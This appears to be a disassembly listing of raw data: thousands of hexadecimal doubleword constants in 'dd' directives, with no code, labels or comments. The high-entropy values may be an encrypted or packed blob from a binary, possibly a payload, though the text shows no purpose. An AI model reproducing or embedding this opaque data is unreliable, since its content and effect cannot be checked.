		dd 59F4CC40h, 954FB82Eh, 4D4AC102h, 126DC27h, 0E716B9E6h
		dd 0F30C8E1Dh, 1AEB241h, 0A87ADB1Fh, 4ACB2827h,	1675F25Ch
		dd 0B9D4C5ABh, 25BFA038h, 41A41230h, 0ECD0BF4Fh, 832A7ABAh
		dd 0D7EAA35h, 0AC2EB6E1h, 12BF9618h, 412FA374h,	2341C2C1h
		dd 18C57963h, 8152E83h,	0B29E9548h, 5215148h, 2AD246A4h
		dd 8FD641EEh, 383B7C56h, 533E0C27h, 76DF184Ch, 0B8EE5BFFh
		dd 0EB5A127Dh, 5B6DCAABh, 0BFD376E2h, 490182D5h, 0D4623F7h
		dd 839CAC60h, 6055D5CAh, 1FD66D68h, 0E5218F0Ch,	56EF1855h
		dd 2407768h, 4E5E5963h,	54E8B9E9h, 30E5F188h, 92EB97C2h
		dd 0D60E3294h, 98EF7330h, 2BFD539Dh, 0D925FC9Dh, 555806Fh
		dd 7FE10111h, 14D4D3B6h, 0AC29A404h, 4AAFAC23h,	0D2BABD87h
		dd 17DD562h, 0E04CF280h, 79D273CDh, 0ED4600AEh,	31DD2D78h
		dd 0B9F5012Ch, 5E4F0820h, 2591C191h, 0EE0E58BEh, 29473FE8h
		dd 0AE14C2C1h, 5D92AFD4h, 0D1AD981Eh, 30638146h, 0D855275Bh
		dd 692C6544h, 0E989E46Bh, 0C08DE2FBh, 82DE1A00h, 8B1CCC61h
		dd 0D6F2C5B9h, 343E8933h, 57BEFC8h, 8974AA25h, 0EF876004h
		dd 0F1B1055Dh, 0A162E9BBh, 69812335h, 14BD06Ch,	9F5380BAh
		dd 66D63168h, 0D06C5188h, 2628BC63h, 2BF8AC55h,	896FCD09h
		dd 5A89D4F5h, 0CFEA4DC0h, 0F829C724h, 0E305F080h, 9D379D15h
		dd 3127E8E6h, 27BFC4C3h, 67B638Ah, 0F935E984h, 1FE4095h
		dd 0A505FF02h, 343A313Eh, 88395049h, 58E10EF4h,	66C8045Ah
		dd 1002298Ch, 14474A68h, 0C4AEAEE9h, 0B101DA93h, 3ACF882Dh
		dd 50879234h, 9D541E8Ch, 933E33DBh, 4DE931B3h, 6CBB53C0h
		dd 184F365Eh, 0F0FC0AABh, 120B2097h, 0A2BA73E9h, 444A7896h
		dd 13682F02h, 7E1EE66Ch, 13115B56h, 69A4DDC4h, 0D50973FCh
		dd 0DCFBD6E9h, 12C25AF9h, 974214F5h, 0AC8E645h,	0EF96841h
		dd 0E5715F6Eh, 0F85AC011h, 33A428D1h, 0A908E92Ah, 0CCB1B907h
		dd 0CFE5BFBCh, 274B487h, 8E5A0407h, 0C353D804h,	0A2859893h
		dd 0E480CFB3h, 53A9303Ch, 0B8AAEC4Bh, 6741B566h, 1ACD7FE8h
		dd 2CA92FC2h, 0AAF14D68h, 4F431106h, 25A2CE29h,	0B04EF0FDh
		dd 2EE8E84Eh, 5388A5C5h, 0F26C0957h, 6D5DC5C2h,	0ACE89382h
		dd 594A525Fh, 0A22BA9CDh, 565F132Ah, 4F586061h,	6710907Dh
		dd 0C5311F16h, 1071247h, 81E2540Bh, 0B21F8EF7h,	58C07F09h
		dd 0A1C357E9h, 2DC85D3Eh, 0DE2930C8h, 7016C69Ah, 0EA2EAF2Fh
		dd 570805DEh, 473ADB06h, 885801D3h, 0E4805BFCh,	0F60784Ch
		dd 0D3F430DDh, 0FD012234h, 0E2CEE9E6h, 1004CE32h, 0BB2BC923h
		dd 0F058DF4h, 0E941544Ah, 0EE77617Ah, 0BB53216Dh, 8ADA010Ch
		dd 0E84E83B6h, 0B10512F8h, 0C715C025h, 0F6F09B8Ch, 0F3D4E912h
		dd 2DA34C41h, 6ACC6795h, 6EED0C5Eh, 425AC829h, 7F047527h
		dd 6BDAD58Eh, 2B9DDE40h, 0BF1996BDh, 5EF5BA30h,	0E962489Eh
		dd 5E6E80Ch, 7AA49886h,	917D4912h, 1EDF414Fh, 2A63A8C0h
		dd 5FE9E1A0h, 518003Fh,	5F2127F9h, 0E8642BDh, 6B1A007h
		dd 5A5E40AFh, 7A78B053h, 0C5451526h, 7257E670h,	46013714h
		dd 1510736Eh, 5DF389B9h, 0AB093F18h, 96249850h,	15E08293h
		dd 0E273CB80h, 7E90ADECh, 7AF2B541h, 0C3DE9DE2h, 0DE595FDAh
		dd 0A09C7D69h, 2F4E687Eh, 0E9553220h, 0A98B5C02h, 0C8B70FC3h
		dd 6F1968E0h, 0D9208892h, 0B35306E8h, 0B2D3F605h, 0C30BA873h
		dd 0A1EBE916h, 34CC681Ch, 0DF542F52h, 7407CEB9h, 4C9547DFh
		dd 0E77E2042h, 0FEEA9390h, 44BA2717h, 0A9CA67E1h, 396F4DDh
		dd 0C79097Ah, 664D5B7Fh, 27BE023Dh, 4037146Fh, 0F1EB5ACh
		dd 0C4E908B0h, 0D68DF853h, 0E7F227BEh, 0EE2B69C0h, 7A2D3850h
		dd 9596610h, 3E5C4B08h
		dd 7003A958h, 29678F6Fh, 0A44F1EAh, 0ACE97550h,	0BC5EB159h
		dd 0BE0BF82Fh, 520411D6h, 85AAEA89h, 817D094Bh,	0D4B955C1h
		dd 6F31736Bh, 6AE58251h, 6F62C93Eh, 0ED2EE5F1h,	31E9125Ah
		dd 9A0D6880h, 29C4004Ch, 6316992Dh, 0B60E051Fh,	0A1361161h
		dd 72A7099Fh, 8E98F06Eh, 0C06E0B62h, 3B84E0E2h,	6AF9BFB9h
		dd 5DBD78E2h, 94242867h, 34685102h, 5985FE61h, 2A083057h
		dd 6FC11FABh, 0B1272BECh, 6FE10385h, 55C9846Ch,	6C543080h
		dd 0BD7720EDh, 0B90B0BD2h, 2E037658h, 4B5CA7A6h, 1564866Fh
		dd 0BAD8A3D8h, 0BDADE6Bh, 0EFF665Fh, 0C6918E4Fh, 0F60BD0F7h
		dd 7F057FE1h, 0F081FCD1h, 58877E12h, 3F7C5589h,	5EA5F301h
		dd 3D5022F6h, 7C272442h, 0BD803841h, 0FD0183D8h, 8955D3E9h
		dd 0BAA13A87h, 20C72D2Eh, 989D734Fh, 45AECBh, 0D1090AD5h
		dd 0E983415Ah, 35E8015Ah, 4CA50807h, 92DF9245h,	0A4072B5Ah
		dd 293D7312h, 8A81F6Fh,	76E0585Eh, 0F66AE102h, 20E8D770h
		dd 88501384h, 0A609F7A8h, 0D129532h, 0C04004B6h, 76AD49EFh
		dd 1687EA3Ch, 82C8409h,	0DD2566E4h, 9777F3ABh, 2C502566h
		dd 50C83113h, 82F7E44Bh, 0E7D32B2h, 0FEDF92BEh,	0B7388728h
		dd 83B0BB46h, 0C10D1B25h, 87DDCE7Ah, 0F717D728h, 0BDFB83D3h
		dd 0BC3444AFh, 38012722h, 2F69B03Dh, 89C2035Ch,	1642CB62h
		dd 2E0C0B0Ch, 20A87516h, 0CC4BA7CFh, 0EA0105BDh, 0E909F164h
		dd 0CD6C0FB3h, 734ABBE0h, 17FF53Fh, 353246CBh, 60C6432Dh
		dd 8680D0BEh, 8BE65069h, 0EBD5222Fh, 1C4BD596h,	0D3AFD4AFh
		dd 71F758D5h, 0ECCA282Ch, 0E494A76Eh, 7885A7BDh, 0D15A4B5Dh
		dd 9E3DF2B4h, 0E2494BC6h, 8E668005h, 9DA8CA9Dh,	95257C2h
		dd 0BBB76934h, 3F82BAC4h, 0D3C7E008h, 73BD80E3h, 4ED42E24h
		dd 8FD05108h, 0A42F23E1h, 104941C6h, 993D4416h,	22C13601h
		dd 31E4650Ah, 0F02CB8CBh, 37969F01h, 8B093998h,	127E5B59h
		dd 0B502F0C0h, 0AE4F8F73h, 0BE45A2CDh, 6C457F6Ch, 0FF5D9D80h
		dd 5B1DE97Eh, 5B3BF2FBh, 802779E9h, 2B083565h, 0F188032Fh
		dd 82A4D1F6h, 47D87F36h, 1B3CF0BCh, 0FA3142A6h,	0B72375DDh
		dd 26A792C2h, 2136EC29h, 1E0E61B8h, 0CB43ED39h,	3A5FA99Fh
		dd 64205192h, 447A29EDh, 0C5D4888Fh, 0ED392D00h, 7753F2D6h
		dd 6347E14Bh, 8B7DC36Fh, 0CA7DABFDh, 0BC1B50Ch,	5ACA1A14h
		dd 0F7A64C60h, 5C9D61BAh, 14F9A751h, 0FBA85AB8h, 692168B0h
		dd 177EC695h, 441F73E9h, 0F96DBD1Fh, 0E958C24Ch, 817B5415h
		dd 0B15166F8h, 3AE1ED5Ah, 0C8FA14C4h, 0AA5A680Eh, 0EEE9E830h
		dd 0CF1B3D4h, 6835BC23h, 1733D324h, 10B2E5C7h, 53EDC0Bh
		dd 0C856F14Ch, 2362C115h, 0F11D74A5h, 98DB8D2h,	3C6C15D8h
		dd 0DC5E2F0Ah, 7F38480h, 1880FB69h, 60CC173Eh, 0F902184Dh
		dd 0DC95F6B7h, 5932AE53h, 84392BC6h, 0AE926625h, 0EFB806A6h
		dd 42950DE3h, 0BFCCD817h, 33428EDBh, 8DC21BF6h,	0C37E7158h
		dd 0C4DC6732h, 62828152h, 0B6417DDBh, 892DCE97h, 265B10h
		dd 925D27BDh, 0E0F58171h, 5CF2F66h, 4DCD9AA0h, 417FB534h
		dd 161309F2h, 0AE1FC7h,	0BE5647FCh, 2F2121Eh, 49E94E0Bh
		dd 0E7E356F7h, 0D4EDC5C7h, 5D8BFC9h, 59A7CF14h,	3168F5C1h
		dd 0BB93607h, 740F4608h, 412C06E9h, 0CB147AEEh,	5AD28359h
		dd 625877F0h, 5BDD5E7Eh, 0E917315Ah, 61659BADh,	3B19A5ABh
		dd 68392CFCh, 0A66C5AF5h, 0DBCA16D4h, 0FC78B5E2h, 6BCDBEC6h
		dd 0B546C754h, 0C5AC802Bh, 4293D1h, 49C65BFCh, 0D00B435h
		dd 0BA2D30C4h, 976745E2h, 0C7041389h, 0F8B9003Fh, 0B8354815h
		dd 6F45008h, 2C310BC7h,	0F6CA3EA7h, 57590800h, 46BA4568h
		dd 0B70E90Bh, 66465D01h, 50398497h, 0E99171BAh,	4E1F3806h
		dd 0E41E5AF8h, 743C8B7Fh, 6A1318DDh, 13BF884Ch,	5190DCF2h
		dd 6DF4E70Eh, 0F7811D08h, 59F10E42h, 26A2FB70h,	55194Eh
		dd 0AE0558C7h, 684AC123h, 7415DB8h, 83743C7Bh, 9D247282h
		dd 30CF22D9h, 13AACB5Ah, 657DC91h, 0A5BE39AAh, 0E12673FBh
		dd 63B46CE9h, 9696DFFEh, 97595AF0h, 0F0BD93ECh,	7D50A0CAh
		dd 52BD2870h, 2D940BE2h, 3CD647ABh, 0F50DF43Ch,	1E7B5A63h
		dd 153B1AC0h, 80CE3198h, 7DD499Fh, 24B9153h, 7BD80C34h
		dd 0C3F027C2h, 7E576812h, 10F04160h, 30D6B519h,	61585442h
		dd 1C644F2Dh, 62789D89h, 955CE624h, 9244C2h, 942306BEh
		dd 4CA9665Ch, 38611C7Ah, 318B55C9h, 0E42A5216h,	8B9E075h
		dd 35685160h, 0D982D60h, 52738E0h, 0DFB0C576h, 5A031EA0h
		dd 296C5C16h, 0CA81EA00h, 76DA6A11h, 0D5E21F77h, 3F0EDF68h
		dd 31039A81h, 38A1E90Ch, 395B2B65h, 46017AA4h, 5A51C34Fh
		dd 1B1D9C70h, 0C2C4801h, 33597EF0h, 0E60B96B9h,	0A56BDB1Ah
		dd 3E100257h, 74EDD5AFh, 1DD9B488h, 96328B57h, 0B5611675h
		dd 9C55E7E2h, 68CF48E9h, 11A6FBB4h, 0A2E2E90Dh,	0C0803F1Ah
		dd 0ECFDA871h, 25DE7E89h, 0B946D8D1h, 0AEF40245h, 0EF51D3FEh
		dd 1360E660h, 17227840h, 4488E9F7h, 0FA875B34h,	68C352B2h
		dd 0FA8459C2h, 8B9256E3h, 0DBE91615h, 0FEAD044Bh, 0D2770559h
		dd 0F4FF1E03h, 688EEA03h, 43545525h, 90AF2944h,	0C6BE9EE0h
		dd 0AB40256Bh, 0F40FD5EDh, 0D59DCCECh, 0AACCF6A3h, 408AD45Fh
		dd 9944CFF1h, 0D84BEEB8h, 5002FC85h, 3AE96894h,	0A01B0970h
		dd 0D48C8D2h, 32165BBBh, 3800211Eh, 2DE535A9h, 41E99529h
		dd 2FFAF5E9h, 2441068Ch, 0CBD30106h, 94111A40h,	0CE0C1560h
		dd 3D7DE026h, 1449C4E9h, 0F355F017h, 62CC19E1h,	0CBDDE211h
		dd 7E72D07Ch, 16CD4FFBh, 5C25EC79h, 0F8E9A033h,	0EC1B9244h
		dd 4F09B5B8h, 31ED3057h, 5FDF90C2h, 5B15E3D8h, 9CAFF133h
		dd 26C4FE07h, 0F6F704CCh, 2EAEE6DFh, 8275F54h, 0F72776A0h
		dd 5B4490A3h, 0F24069A2h, 8200352Fh, 0FF25483Eh, 0BD71C74Bh
		dd 800EBF9h, 4A1CED0Dh,	0AD35055Ah, 0C2331985h,	135F4BF3h
		dd 81E4C1F7h, 1269253Fh, 5BFD40C0h, 8853CDFEh, 0D3F6EB1Dh
		dd 0C017062Eh, 1FB6113h, 0F58055A9h, 0E9ECF47Ch, 49A91035h
		dd 177A10BDh, 0A2010258h, 25D51BDCh, 5251895Dh,	990D284h
		dd 0CB34809Ch, 0EF240BB7h, 97035003h, 4345270h,	8547FB18h
		dd 80C51F29h, 80C2462Ah, 84D30915h, 0E970AF6Ah,	20974187h
		dd 0C54AF7DDh, 1F62ED41h, 0C807F89h, 0AFA398Bh,	50BCDA01h
		dd 0E2389002h, 23934825h, 2629FD0Ch, 0FECEECBh,	0EF22E91Ah
		dd 0B0718310h, 0C629B807h, 48E99558h, 13106C39h, 37E53159h
		dd 80412BECh, 0E69FF1F6h, 1883212Ch, 0CFEEE904h, 4BF78EBAh
		dd 407321BBh, 0F74800E2h, 1B2D01D0h, 29BFD421h,	84B33EC1h
		dd 39D5A192h, 0C330E19Ah, 975F0B60h, 0D01EE7ECh, 0BA863831h
		dd 30A3208h, 5E11EA81h,	0C2C7414h, 400943C8h, 82087D29h
		dd 0B0C3408h, 93875F14h, 23E773FEh, 3CC12A79h, 2AFB7EB8h
		dd 0E9DCA82Eh, 4684A769h, 15D01B4h, 526658C3h, 6545EE4Eh
		dd 80D2BB02h, 7FB05D53h, 0D282B3B9h, 0CBC8B6DCh, 8EC16557h
		dd 501079D3h, 0DE13ED17h, 25C701E5h, 0D52B50F7h, 2880E199h
		dd 3ABD518Fh, 29E924F1h, 0F02A9D25h, 0F70681B6h, 68F04AC6h
		dd 1797170Ch, 0EA940BD7h, 0CC6157Ah, 84FC143Dh,	0E90880B5h
		dd 0EB56B5D2h, 2F935347h, 2CC56076h, 0F00797EAh, 0BB385868h
		dd 0CA25BB65h, 0CDBF8C13h, 0F1942D4Ch, 9C710288h, 5B0B7338h
		dd 244B3C86h, 87D874E2h
		dd 0F4C3682Dh, 0ED036F2Fh, 5990082Fh, 0D86491E9h, 18B9D1A7h
		dd 7328F180h, 80BF5A6Ch, 7929C999h, 1C1261CEh, 0F6CFFD3Bh
		dd 0A07C8B57h, 8F26058Bh, 0ACB84BE1h, 16355AA4h, 0FEC552ABh
		dd 32BBA202h, 3A20FF46h, 6A27DAC6h, 9C81FE5Ah, 77305551h
		dd 62B09C39h, 8001B930h, 0C2CC6CF1h, 0F0CAE0AEh, 836BEBEAh
		dd 18090224h, 76D03048h, 0C39CBC97h, 0C7CA3945h, 6956E92Dh
		dd 9FCDCC2Fh, 0E950115Ch, 0A3F754DFh, 833FF1Ah,	0B38AB206h
		dd 985CD3h, 0B7EB0ACEh,	0DE160EEFh, 0C9A8F54Ah,	36B5D000h
		dd 0E8DCC580h, 0F619F6E6h, 0C848410h, 0A6E8280Eh, 0A14818B6h
		dd 0CB69C6F3h, 0A755C06h, 40B3199h, 644776DBh, 0FFBB490Ch
		dd 7FF26046h, 470495Ah,	0BC6E1768h, 13306014h, 0E92E25B5h
		dd 2D82A765h, 0C2630BD8h, 0C264D493h, 0E5DFD97Bh, 13E9ADBFh
		dd 0A8740463h, 36105AA8h, 24BD00D6h, 8114EE1Eh,	7B4B38CDh
		dd 0C1456884h, 0C54080E5h, 402552E3h, 937BD476h, 0B81EC01Fh
		dd 7F3E22A3h, 5832D42h,	20EB5A8Eh, 983B3AFBh, 5BB5948h
		dd 0B4DE237Ah, 0F89544BAh, 3A8CAF53h, 60D84150h, 370F5CCBh
		dd 82567817h, 0C601191Bh, 0B28D20EBh, 0D48BA05h, 28C116E2h
		dd 416B2578h, 497B712Dh, 93DCEC35h, 6ED98B5h, 23C22F37h
		dd 0D00E117Ah, 0C051B557h, 0E40242E6h, 9EF6B622h, 7572D80h
		dd 1C4D0D9h, 0DC66CFDh,	0CB585F2Eh, 5CDE2C72h, 855F2310h
		dd 1737EB0Ch, 25D79CE3h, 87D55DE2h, 88B2C813h, 404C76E8h
		dd 78E5061h, 19CA8100h,	0F71FCD0Dh, 2C7E97D2h, 0D69D8239h
		dd 89898B56h, 0E4897722h, 2D8746D5h, 0EB8012E9h, 6536F681h
		dd 0A570F33Dh, 0D5F16279h, 0E9C1F779h, 1193DD19h, 0DFAEE8EEh
		dd 0D61E0F4Ah, 1D34F88h, 0FA2F20BDh, 0A5F22A13h, 0C07E5F58h
		dd 4D5EBD65h, 0D2A15051h, 5C8050A9h, 2DF0C601h,	82AAFE48h
		dd 61F33078h, 0F913A4D6h, 3B32B8B9h, 0F2FCED89h, 0B96AA3Fh
		dd 1FB47FC5h, 7D4F0DB0h, 0BD0BC7A7h, 3F602160h,	0AC923474h
		dd 0A320D50Fh, 90DB4607h, 449AB414h, 0EA9AD586h, 0B1B71637h
		dd 38834004h, 87C40D9h,	217FF388h, 8F77265Ch, 0C28AED33h
		dd 4889280Bh, 9731CAA0h, 2F889466h, 6D058DC3h, 866834C8h
		dd 7DEE44AFh, 0D77ABC94h, 6A1995ECh, 80C5479Eh,	0E63BF566h
		dd 3DB95115h, 0C8363D5h, 6356849h, 0E5D2493Ch, 0B0AF6E0Bh
		dd 381261CFh, 3F002AB5h, 37E862E0h, 46DA60F7h, 0DE8CCEE1h
		dd 0FCCA312Dh, 0CA515A17h, 0BF7C69h, 15424A67h,	54BE0BE9h
		dd 58E8F625h, 4F48D168h, 21FFD6D1h, 81D99508h, 4C17B84Fh
		dd 147034CAh, 0A8E2775h, 600BC0F4h, 2BEA9094h, 0EEE7330Ch
		dd 11E9C0B6h, 28F6055h,	578F3913h, 0FE90AED7h, 0F0064179h
		dd 39EE4DA1h, 7CDCF602h, 84C34BC6h, 5D7E12F6h, 1025217h
		dd 0F1E76616h, 2A270C20h, 57651058h, 9DC39C51h,	0D4F3E068h
		dd 0B1487D19h, 54AF100Ah, 4D515A2Dh, 0D6D3D162h, 5D1B8A07h
		dd 83C49Bh, 0FC30AAB4h,	962CEEE9h, 31264EE9h, 0C51E56D5h
		dd 60BC1642h, 238A870Ch, 6DC4957Bh, 5B55BF82h, 4DE9C184h
		dd 7D739A9h, 31A337DFh,	13AF5AB4h, 0E41EA28Ah, 6A8AC501h
		dd 0E9420322h, 0B8E468E6h, 800A3B96h, 1B2E2D02h, 72D80238h
		dd 43B0E2B8h, 0EBF00B28h, 1912C809h, 0CB7F45Bh,	0CD6F9129h
		dd 71238303h, 0EADD877Dh, 418577FCh, 7934FE52h,	84E97020h
		dd 410F9CA8h, 7ED0215Ch, 0C893D4E2h, 4282C5AEh,	1012406Ch
		dd 5D273B8Ch, 161B3600h, 0D9B9E937h, 1EF0FFA6h,	7510C16Bh
		dd 0B3E13433h, 0F7B9A401h, 4D6CCB04h, 3CD2A987h, 0C99AB395h
		dd 413AAE46h, 0BFE5A386h, 0ADF12A14h, 0F5015A39h, 4DC71577h
		dd 0BED0D2E9h, 0E097B72Dh, 0E03C0493h, 912C74C8h, 525360D9h
		dd 0E913BCB6h, 0AD6158E2h, 242FBB75h, 2ED78264h, 9D2A33F6h
		dd 0B69676F0h, 7BC86804h, 4BD58AEFh, 5528A1B6h,	8B65979Eh
		dd 34035613h, 0E95D4BD0h, 163B13E9h, 0E13FFC06h, 0E628D01Bh
		dd 5D80180h, 3C246F74h,	8C179329h, 0B86309C4h, 0D12099B2h
		dd 2DEF7661h, 7FD45A1Eh, 58477F7Ah, 0E471D4A5h,	5F45FF21h
		dd 3BF3D868h, 0ABDE5427h, 0F503557Ah, 8402F53Fh, 0E42A90BEh
		dd 164D7603h, 0C71AF35Dh, 0BD12E9F7h, 47A255D1h, 0FD09DE84h
		dd 0EC511949h, 0C895F5CBh, 83AAE3E1h, 6F0CFEE1h, 3F60E2Ch
		dd 7B353D1h, 81DFE3C0h,	0BDCBFED3h, 0B2520F0Eh,	0D0C2016Eh
		dd 0D7C980EAh, 192E228h, 0F6E9D345h, 54CCAFD5h,	0DF80721Eh
		dd 0C23AE940h, 5B938DDDh, 0B6BEFCA0h, 6F0B6000h, 0EABF783Dh
		dd 550809C6h, 689545C6h, 0BE99E988h, 0B92D4452h, 238D40BFh
		dd 0AA307A41h, 0D9534F34h, 48F96E1Eh, 0AD83EC5Fh, 807BDE60h
		dd 801CC7FEh, 0AF163E7h, 0FAFCD7F6h, 0CD917Dh, 180F14C0h
		dd 0BC9C2BBh, 4A90CC31h, 0DE25BA01h, 0B05F61FBh, 0E6800CEh
		dd 3F269351h, 0A9F41416h, 0F285D65Fh, 9F5FB228h, 8EA2BD9h
		dd 0F1E71813h, 4A74F860h, 0E9277983h, 0E84562ABh, 96367E4Eh
		dd 1304E923h, 0B5B80087h, 9756C322h, 0FA29A500h, 744A5468h
		dd 596CAF30h, 0F55895CDh, 0F5C94913h, 81095E52h, 22B675D1h
		dd 6858D3C1h, 0C58956EFh, 57DE1D01h, 0B4147FC9h, 0BDCE549Fh
		dd 7ADA02F6h, 0CD09B0BBh, 3FA34441h, 14EE2B74h,	0F8274DEFh
		dd 0E7884D83h, 321D7812h, 0F851C1C8h, 81535BF9h, 503DD8B1h
		dd 4E793F83h, 18761148h, 0E90F4205h, 76E8BAE0h,	0B4D62048h
		dd 81AD58h, 2A784A82h, 5428E2Dh, 0C829325Fh, 59070F05h
		dd 0B71C9CA1h, 0AF8D307Ah, 34A20809h, 0C1936229h, 0C82A9174h
		dd 361DFF35h, 0EB8B081Ch, 39AED460h, 408D662Ch,	0E24947F3h
		dd 59530616h, 28C29D19h, 589A093Ah, 3BEFF6E8h, 6F708081h
		dd 4C56EFEh, 44AEDE7h, 9C8881EEh, 128E3A49h, 46DD6809h
		dd 0E0649CFEh, 0C2326EB5h, 5160715Eh, 0EDC5205Ah, 45789D0Ch
		dd 17F90C4Ch, 45E7550h,	8403F357h, 7594FB44h, 21C081Ah
		dd 54F4E914h, 9CD72D28h, 25EF8130h, 0BF4A9D28h,	0F6AFE264h
		dd 461625D6h, 4AC00982h, 48554353h, 2FE957E6h, 41DC7B45h
		dd 0F09855F2h, 0FE9DE173h, 9329440Ch, 38E8BB56h, 4B75A0Eh
		dd 93813567h, 1E3E2C60h, 5DEFC978h, 27D46E00h, 12E757Bh
		dd 160061CFh, 251BE835h, 0D731076Fh, 0F1CD0D36h, 0C4051EDCh
		dd 56129EF6h, 412C729h,	905C46E0h, 67420926h, 39860302h
		dd 7BF486C4h, 0D432C26h, 0DED3890Bh, 95A160Fh, 325746EAh
		dd 710B81B7h, 66B19E9h,	56415FE4h, 0D609790Ah, 1603A64Ah
		dd 5E13C72Ah, 0EFD5530Ch, 0A4048D02h, 6364C17Ah, 76004339h
		dd 2D2E6450h, 975C27ECh, 2F6F1061h, 0AC253958h,	5E531102h
		dd 0AA939E64h, 0C9EED10Ah, 0D45F1109h, 0A0027392h, 27993BCBh
		dd 8D117F29h, 11407FA2h, 105638C1h, 2DF0ED1Fh, 3AC2722h
		dd 883ECDAh, 0F8141C45h, 272E0219h, 0D2429752h,	820DF147h
		dd 29332DFEh, 39E4C455h, 75A65157h, 58C8101Fh, 42542507h
		dd 86965512h, 0F6BA3620h, 46C50BCAh, 81862BEAh,	0C207173Fh
		dd 29AD14A6h, 2FB47B2h,	33DA5F59h, 2BAE5730h, 3DAAB6C6h
		dd 2197FE7Ah, 0A105ECF1h, 3D2C4313h, 12E4DAC4h,	53F13EFh
		dd 91F60FADh, 732B2D52h, 56522DF7h, 81EAC50Dh, 3C18DDBEh
		dd 0E50C2D90h, 668BCC8Ch, 3FDB598h, 0CBC2ACF7h,	733783Eh
		dd 940B2DBFh, 0A4BEA414h, 548E046h, 0E621BF1h, 0E77E1372h
		dd 8975F97Fh, 0FDB0F54Dh
		dd 0B3A86441h, 0C382310Dh, 0A12BB9FEh, 25F2A1A5h, 76EC3609h
		dd 25F5EC5Dh, 9CD12BEEh, 0C0EBBE96h, 0C706890h,	49F17B9Fh
		dd 0CF8248CBh, 5D147FFh, 0A3506D68h, 2F2D05FFh,	80EA1830h
		dd 0A37A5304h, 0F88414EFh, 8D3316BFh, 84D23803h, 1EEC6B23h
		dd 0AC8BEEE4h, 0BE508C5Ch, 0A1E46037h, 8D0968F5h, 0C180166Eh
		dd 3D804532h, 0CEAF806Eh, 0C2627FBAh, 0E8CDE98Eh, 0A1C5B001h
		dd 0A33BDEDDh, 438B27h,	0CB4CFD58h, 0DBF73078h,	5807E510h
		dd 371F5260h, 0BFE7F80Eh, 0D4F18B42h, 5463E941h, 37F44FADh
		dd 60C2F381h, 0BC6B4BD4h, 0F5FC1A62h, 5D8E5DC8h, 954DDE6Ch
		dd 385A3114h, 55BB00A9h, 0CAE941B3h, 7B94B584h,	0D6138192h
		dd 520F9951h, 0E44E5097h, 410E71EBh, 0C6C14C35h, 13144203h
		dd 1ECF2ADh, 256DED85h,	0D566300Ch, 0B47051B8h,	82A67B7h
		dd 1A2B21E4h, 0CC535689h, 0AE954D5Eh, 2096E24Ah, 0D788270Ch
		dd 0F1EA46F0h, 0EBE8E91Ah, 891035Dh, 6EC7C483h,	37C006B4h
		dd 4ACF2DEAh, 0A100AE2Fh, 1CB61335h, 0C07C4FE9h, 610268F6h
		dd 4921F195h, 6E64557h,	0AEEFDE9h, 84FC4CB5h, 0AA0DD71Ah
		dd 0B3648671h, 4AE2E824h, 816AE805h, 6EB26D4Bh,	814F906Ch
		dd 7EE04CA8h, 0B15A4CF6h, 622F7AFEh, 3B1A502Ch,	0B5D8C04Fh
		dd 0D55CF6BFh, 0EFE0757Ch, 0C7065976h, 3093E9D0h, 0C8DF32D9h
		dd 0ABD9532Eh, 300F45ADh, 3F616807h, 38F33BC5h,	0D6CB08BCh
		dd 43959DE6h, 80F5CA4Ah, 83054257h, 0FE013C10h,	0E08EE28h
		dd 64BB685Fh, 1F9DEA12h, 1D8B3880h, 0DE01564Ah,	84080982h
		dd 5EBCDB32h, 5AF2F293h, 0E83AA2B1h, 0E76C8D31h, 4663BF40h
		dd 5A227B8Bh, 314304A1h, 0A450FCF0h, 1E5FFF80h,	0D1331329h
		dd 9404EBE5h, 4BC485E9h, 1E8AA58Ch, 0B77F5B30h,	256CC511h
		dd 0F9B6740Ch, 7FF84EBCh, 9DE90805h, 0D89EE71h,	1038DA2Ah
		dd 2925A214h, 0A9012950h, 5E2CC151h, 112EE821h,	0F512CD42h
		dd 7344F2C7h, 1B24E758h, 0B357CF12h, 0D1FB5949h, 531F553Dh
		dd 0E33001BBh, 2BD9896Eh, 0CECB080Eh, 159C5DDh,	4A97A2BBh
		dd 59F9C68Ch, 54A1F5E0h, 0ED8000D1h, 0EA202498h, 9ABF3942h
		dd 45554E7Dh, 0B5F16C69h, 98B2F5B4h, 0A5965A53h, 0A0F75B64h
		dd 0DD2A191h, 0B43FE8B1h, 5B7589Dh, 2EC25486h, 4949F6C4h
		dd 5392DE79h, 0AA8394EAh, 0CB7FDE2Dh, 31884CA8h, 5B5432F3h
		dd 0E9C2F762h, 770B3D05h, 8F324F4Ah, 3D282283h,	0C0E96CC8h
		dd 3D284D4Eh, 28544020h, 8C89E3B9h, 0CA05B3D8h,	4A3678BAh
		dd 68C92850h, 2174312h,	7C13BC0h, 9CF0B746h, 80C05B4Fh
		dd 0E65FFA31h, 1EFEB5D7h, 0DAFE8951h, 9825FE7h,	777C589Bh
		dd 0E0F2C0F2h, 27409BA7h, 206CA9D4h, 11BA4DF8h,	25D0BD89h
		dd 56CD409Eh, 19002C6Ah, 68ED4250h, 9D08DD2Eh, 49E3D925h
		dd 73D40577h, 0A23B78B1h, 3DAB9709h, 92B37A03h,	0F0FEE95Fh
		dd 9EF701E9h, 0C85A65B8h, 6A56E38Fh, 590213C4h,	21053BE3h
		dd 0EF2B7570h, 1CCFA700h, 49E94A44h, 0E35E2B67h, 0FC5D98DFh
		dd 0D8E5C9DEh, 0BC1D487h, 78698F7Ch, 198E95F6h,	0F9EEB4A9h
		dd 0F9843095h, 3AED27E9h, 0A7BC0A59h, 53F58091h, 0B637F768h
		dd 3B5B5176h, 5E07DDA4h, 76578D28h, 0FBE8141Ch,	73E865Fh
		dd 2CF10393h, 413FE502h, 90322820h, 0AF5F2569h,	0EE7ACE18h
		dd 0D5A072B4h, 0E0534696h, 60A67479h, 41FD584Dh, 5E9D78C2h
		dd 0BE56800Ch, 38F23731h, 0F0BBFEA0h, 0E914A404h, 9DA63915h
		dd 0B98B472Dh, 0DC25C2D8h, 8345F178h, 524E492Dh, 50044C2h
		dd 1617E320h, 2C0C8B5Bh, 37025D15h, 0FAE969C3h,	52A975D6h
		dd 6B81388Ah, 0B1EAF773h, 0F6B83C65h, 31E9C944h, 70BE5BEh
		dd 0D85EA7C5h, 8107C0CCh, 9F2778E1h, 0C9EED8B8h, 70697C0Ah
		dd 0A009910h, 9D9C6FFh,	9D5950CDh, 40AA0FEDh, 0C352C23Eh
		dd 60FE656Bh, 2C6BE05h,	0B5834814h, 4B928F11h, 6A6804Eh
		dd 5C30F920h, 110C031h,	73BF1F2Bh, 81C77A5Eh, 0A20E6EFh
